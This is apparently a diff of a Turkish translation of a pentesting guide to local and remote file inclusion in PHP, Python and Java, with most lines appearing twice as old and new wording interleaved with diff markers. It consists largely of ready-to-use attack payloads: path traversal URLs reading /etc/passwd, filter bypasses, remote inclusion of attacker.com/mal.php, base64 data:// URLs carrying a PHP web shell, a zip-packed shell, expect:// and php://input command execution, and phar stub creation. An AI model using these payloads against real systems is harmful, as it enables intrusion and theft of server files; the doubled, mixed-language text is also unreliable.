https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin
Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`
/boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Linux LFI listesini kontrol edin.
Linux'un LFI listesine bakın.
## Basic LFI and bypasses
## Temel LFI ve bypasses
Tüm örnekler Local File Inclusion için verilmiştir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences özyinelemeli olmayan şekilde çıkarıldı
### traversal sequences özyinelemeli olmayan şekilde kaldırıldı
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Sağlanan string'in sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php")
Bypass: sağlanan dizenin sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Bu **PHP 5.4**'ten beri çözülmüştür
Bu, **PHP 5.4'ten beri çözüldü**
### **Kodlama**
Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri):
Standart olmayan kodlamalar kullanabilirsiniz; örneğin çift URL encode (ve diğerleri):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,38 +84,38 @@ Belki back-end klasör yolunu kontrol ediyordur:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
### Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de tanımlamak için belirli teknikler kullanılarak özyinelemeli şekilde keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır:
Sunucunun dosya sistemi, sadece dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır:
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini `/etc/passwd` dosyasını başarıyla çekerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve derinliğin üç olduğunu gösterir:
1. **Dizin Derinliğini Belirleme:** Bulunduğunuz dizinin derinliğini, `/etc/passwd` dosyasını başarıyla getirerek (sunucu Linux tabanlı ise geçerlidir) belirleyin. Örnek bir URL aşağıdaki gibi yapılandırılabilir; bu, derinliğin üç olduğunu gösterir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Klasörleri Sınayın:** URL'ye şüpheli klasörün adını (ör. `private`) ekleyin, ardından `/etc/passwd`'e geri dönün. Eklenen dizin seviyesi derinliği bir artırmayı gerektirir:
2. **Klasörleri Sorgula:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra `/etc/passwd`'e geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yok.
3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- **Hata / Çıktı Yok:** `private` klasörü belirtilen konumda muhtemelen yoktur.
- **`/etc/passwd` içeriği:** `private` klasörünün varlığı doğrulanır.
4. **Yinelemeli Keşif:** Keşfedilen klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar ısından daha fazla araştırılabilir.
4. **Yinelemeli Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, mevcut dizinin derinliği 3 olduğunu varsayarak `/var/www/` içinde `private` dizini olup olmadığını kontrol etmek için şunu kullanın:
Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 kabul edilirse) şunu kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirilse bile hedef dosyayı gösterecek şekilde bir dosya yolu oluşturmaktır.
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlatarak erişimi kısıtlanmış dosyalara ulaşmak için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsil biçimleri eşdeğer kabul edilebilir. Örneğin:
In PHP, çeşitli dosya yolu gösterimleri dosya sistemi doğası gereği eşdeğer kabul edilebilir. Örneğin:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` aynı yol olarak değerlendirilir.
- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/` yapmak) hedef dosyayı değiştirmez.
- Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, ve `/etc/passwd/` aynı yol olarak işlem görür.
- Son 6 karakter `passwd` olduğunda, sonuna `/` eklemek (yani `passwd/` yapmak) hedeflenen dosyayı değiştirmez.
- Benzer şekilde, bir dosya yoluna `.php` eklendiğinde (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sıkça hedef olan `/etc/passwd` dosyasına erişmek için path truncation'ın nasıl kullanılacağını gösterir:
Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sık hedef olan `/etc/passwd` dosyasına erişmek için path truncation kullanımını göstermektedir:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Bu senaryolarda ihtiyaç duyulan traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.
Bu senaryolarda gerekli traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- **Dot Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal dizileri (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkisiz hale getirebilir.
- **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e gitmek için gereken tam `../` dizisi sayısı bulunabilir; böylece eklenen dizeler (ör. `.php`) nötralize edilir ama hedef yol (`/etc/passwd`) korunur.
- **Sahte Bir Dizinle Başlama**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
- **Nokta Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkili şekilde yok saymayı sağlar.
- **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` sayısı bulunabilir; bu şekilde `.php` gibi eklenen dizeler etkisiz hale getirilir ve hedef yol (`/etc/passwd`) korunur.
- **Sahte Bir Dizinle Başlamak**: Yolun, `a/` gibi var olmayan bir dizinle başlatılması yaygın bir uygulamadır. Bu teknik önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapılması gerekir.
path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışı ve dosya sistemi yapısı iyi anlaşılmalıdır. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.
**Bu güvenlik açığı PHP 5.3'te giderildi.**
**Bu zafiyet PHP 5.3'te giderildi.**
### **Filtre bypass hileleri**
### **Filtre atlatma hileleri**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php'de varsayılan olarak bu devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off**'tur. Çalışması için **On** olmalıdır ve bu durumda sunucunuzdan bir PHP file'ı include ederek RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Bir nedenle **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu yazıya göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protokolünü base64 ile kullanarak b64 PHP kodunu çözebilir ve RCE elde edebilirsiniz:
Eğer bir sebepten dolayı **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtering** ile engelliyorsa, [bu nderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (dolayısıyla çalıştırılacak).
> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürür ve gerçek PHP code dahil edilir (ve dolayısıyla, çalıştırılır).
Bir başka örnek **`php://` protokolünü kullanmayan** şöyle olabilir:
Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olurdu:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Kök element
## Python Kök öğesi
python'da aşağıdaki gibi bir kodda:
Python'da şöyle bir kodda:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Kullanıcı **`file_name`**'e bir **mutlak yol** geçirirse, **önceki yol sadece kaldırılır**:
Eğer kullanıcı **`file_name`**'e **mutlak bir yol** gönderirse, **önceki yol sadece kaldırılır**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre beklenen davranıştır:
Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre amaçlanan davranıştır:
> Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
## Java Dizinlerini Listeleme
## Java List Directories
Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülüyor**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (afaik).
## İlk 25 parametre
## Top 25 parameters
Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek ilk 25 parametrenin listesi yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
İşte local file inclusion (LFI) zafiyetlerine açık olabilecek Top 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,36 +211,36 @@ Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek ilk 25 parame
?mod={payload}
?conf={payload}
```
## LFI / RFI — PHP wrapper'ları ve protokollerini kullanma
## LFI / RFI PHP wrapper'ları ve protokoller kullanımı
### php://filter
PHP filtreleri, veri okunmadan veya yazılmadan önce temel **veri üzerinde değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
PHP filtreleri, veriler okunup yazılmadan önce veri üzerinde temel **değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Verideki tag'leri kaldırır ( "<" ve ">" karakterleri arasındaki her şey)
- `string.strip_tags`: Verideki tagleri kaldırır (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). Desteklenen **tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür(`convert.iconv.<input_enc>.<output_enc>`). Desteklenen tüm kodlamaların **listesini** almak için konsolda şunu çalıştırın: `iconv -l`
> [!WARNING]
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine olanak tanımak için faydalı olabilir. Daha fazla bilgi için bkz. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine imkan tanıyabilir. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla veri exfiltrasyonu yaparken faydalı)
- `zlib.inflate`: Veriyi dekomprese eder
- `zlib.deflate`: İçeriği sıkıştırır (useful if exfiltrating a lot of info)
- `zlib.inflate`: Veriyi açar
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
- Other Filters
- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda bir kaç **beklenmedik filtre** bulabilirsiniz:
- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz:
- `consumed`
- `dechunk`: HTTP chunked encoding'i tersine çevirir
- `convert.*`
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> "php://filter" kısmı büyük/küçük harf duyarsızdır
### php filters'i oracle olarak kullanarak herhangi bir dosyayı okuma
### php filters'ı oracle olarak kullanarak herhangi dosyaları okuma
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) önerilen teknik, sunucudan doğrudan çıktı alınamayan bir lokal dosyayı okumaktır. Bu teknik, **php filters kullanarak (karakter karakter) boolean exfiltration** temeline dayanır. Bunun nedeni, php filtrelerinin bir metni php'nin bir istisna atacak kadar büyük hale getirecek şekilde büyütmek için kullanılabilmesidir.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) çıktının sunucudan geri verilmediği durumlarda yerel bir dosyayı okumak için bir teknik önerir. Bu teknik, php filters kullanılarak yapılan **boolean exfiltration of the file (char by char) using php filters** as oracle prensibine dayanır. Bunun nedeni, php filters'ın bir metni PHP'nin bir istisna fırlatacak kadar büyük hale getirebilmek için kullanılabilmesidir.
Orijinal yazıda tekniğin ayrıntılı bir açıklaması bulunuyor; burada kısa bir özet:
Orijinal yazıda tekniğin detaylııklaması bulunmakla birlikte, işte kısa bir özet:
- Codec **`UCS-4LE`** kullanılarak metnin ilk karakterini başa bırakmak ve string boyutunun üssel olarak artmasını sağlamak.
- Bu, **ilk harf doğru tahmin edildiğinde** metni o kadar büyük bir hale getirmek için kullanılacak ki php bir **hata** tetikleyecek.
- **dechunk** filter ilk char onaltılık değilse **her şeyi silecek**, bu yüzden ilk char'ın hex olup olmadığını öğrenebiliriz.
- Bu, önceki ile (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştiğinde, metnin başındaki bir harfi; onu onaltılık olmayan bir karaktere dönüştürecek yeterli dönüşümü ne zaman yaptığımızı görerek tahmin etmemize izin verir. Çünkü eğer onaltılıksa, dechunk onu silmez ve başlangıç bombası php hatası tetikler.
- Codec **convert.iconv.UNICODE.CP930** her harfi bir sonraki harfe dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık karakter olmayacağından dechunk onu silmez ve başlangıç bombası çarpımı nedeniyle php hatası tetiklenir.
- Başlarda **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterler de leak edilebilir (ve başka codec'ler de diğer harfleri hex aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, onu leak edebilmek için önce base64 ile encode etmek ve sırasıyla ilk 2 harfi leak etmek gerekir.
- Sonraki sorun, **ilk harften daha fazlasını nasıl leak edeceğimizdir**. Bellek sırası filtreleri kullanarak (ör. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**) karakterlerin sırasını değiştirmek ve metnin başka harflerini ilk pozisyona getirmek mümkündür.
- Daha fazla veri elde edebilmek için fikir, başlangıçta **convert.iconv.UTF16.UTF16** ile **2 byte junk veri üretmek**, üzerine **UCS-4LE** uygulayarak bunları **bir sonraki 2 byte ile pivotlamak** ve junk veriye kadar veriyi **silmek** (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). Leak etmek istediğiniz bite ulaşana kadar bunu sürdürün.
- Codec **`UCS-4LE`** kullanılarak metnin baştaki karakteri öne alınır ve string boyutunun üssel olarak artması sağlanır.
- Bu, ilk harf doğru tahmin edildiğinde php'nin bir **error** tetikleyeceği kadar büyük bir **text so big when the initial letter is guessed correctly** üretmek için kullanılacaktır.
- **dechunk** filtresi **remove everything if the first char is not an hexadecimal** davranışı gösterir, böylece ilk karakterin hex olup olmadığını anlayabiliriz.
- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştirildiğinde, metnin başındaki bir harfi, onu bir onaltılık karakter olmaktan çıkaracak kadar dönüşüm uyguladığımızda fark ederek tahmin etmemizi sağlar. Çünkü eğer hex ise dechunk onu silmez ve başlangıç bombası php hatası üretir.
- Codec **convert.iconv.UNICODE.CP930** her harfi bir sonrakine dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık bir onaltılık karakter olmaz, dolayısıyla dechunk onu silmez ve başlangıç bombasıyla çoğaldığı için php hatası tetiklenir.
- Başta **rot13** gibi dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler diğer harfleri hex aralığına taşımak için kullanılabilir).
- Başlangıç karakteri bir sayıysa, sayıyı leak etmek için önce base64 encode edip ilk iki harfi leak etmek gerekir.
- Son sorun, **how to leak more than the initial letter** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi order memory filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin diğer harflerini ilk pozisyona getirmek mümkündür.
- Ve daha fazla veri elde edebilmek için fikir, **generate 2 bytes of junk data at the beginning** ile başta 2 byte çöp veri oluşturmak (convert.iconv.UTF16.UTF16 ile), sonra **UCS-4LE** uygulayarak bunun **pivot with the next 2 bytes** yapmasını sağlamak ve **d**elete the data until the junk data (bu, ilk metindeki ilk 2 bytı kaldıracaktır). Bu işlemi leak etmek istediğiniz biti elde edene kadar tekrarlayın.
Yazıda bu işlemi otomatikleştiren bir araç da paylaşıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Yazıda bu işlemi otomatikleştiren bir araç da leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Bu wrapper, process'in açık tuttuğu file descriptor'lara erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır:
Bu wrapper, process'un open olan file descriptors'larına erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak yararlıdır:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak sırasıyla **file descriptors 0, 1 and 2**'ye erişebilirsiniz (bunun bir saldırıda nasıl işe yarayabileceğinden emin değilim)
Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak **file descriptors 0, 1 and 2**'ye sırasıyla erişebilirsiniz (bir saldırıda bunun nasıl işe yarayabileceğini bilmiyorum)
### zip:// and rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyip ona erişin.\
rar protokolünden kötüye yararlanabilmek için **özellikle etkinleştirilmesi gerekir**.
İçinde PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve ona erişin.\
rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın.
Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın
### expect://
Expect'in etkinleştirilmiş olması gerekir. Bununla kod çalıştırabilirsiniz:
Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Yükünüzü POST parametrelerinde belirtin:
Payload'unuzu POST parametrelerinde belirtin:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir:
Bir `.phar` dosyası, bir web uygulaması dosyaları yüklemek için `include` gibi fonksiyonlardan yararlandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php
<?php
$phar = new Phar('test.phar');
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar` dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
`.phar` dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır:
```bash
php --define phar.readonly=0 create_path.php
```
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak ve bu dosya potansiyel olarak Local File Inclusion (LFI) zaafiyetlerini sömürmek için kullanılabilir.
Çalıştırıldığında `test.phar` adlı bir dosya oluşturulur; bu dosya Local File Inclusion (LFI) açıklarını istismar etmek için kullanılabilir.
Eğer LFI sadece dosyayı okuyup içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla deserialization vulnerability sömürülmeye çalışılabilir. Bu zaafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
LFI yalnızca içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla — deserialization açığının istismarı denenebilir. Bu zafiyet, `phar` protokolünü kullanarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,74 +373,74 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** suistimal edilerek belirli boyuttaki serbest chunk zinciri değiştirilip herhangi bir adrese **her şeyi yazmak** mümkün kılındı; bunun için bir hook eklenip **`system`** çağrıldı.\
Ayrıca daha fazla php filter suistimal edilerek belirli boyutlarda chunk'lar alloc etmek mümkün oldu.
PHP'de php filter'larını destekleyen herhangi bir dosya okuması istismar edilerek RCE elde etmek mümkün oldu. Ayrıntılııklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli boyuttaki serbest chunk zinciri değiştirildi ve böylece herhangi bir adrese istediğiniz her şeyi yazmak mümkün oldu; bu amaçla `system`'i çağıran bir hook eklendi.\
Daha fazla php filter'ı suistimal ederek belirli boyutlarda chunk allocate etmek mümkün oldu.
### More protocols
### Daha fazla protokol
Dahil edilebilecek daha fazla olası [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Bellekte veya geçici bir dosyaya yazma (bir file inclusion saldırısında bunun nasıl faydalı olabileceği kesin değil)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion attack açısından bunun nasıl yararlı olabileceğinden emin değilim)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma akışları
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen pathnames bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
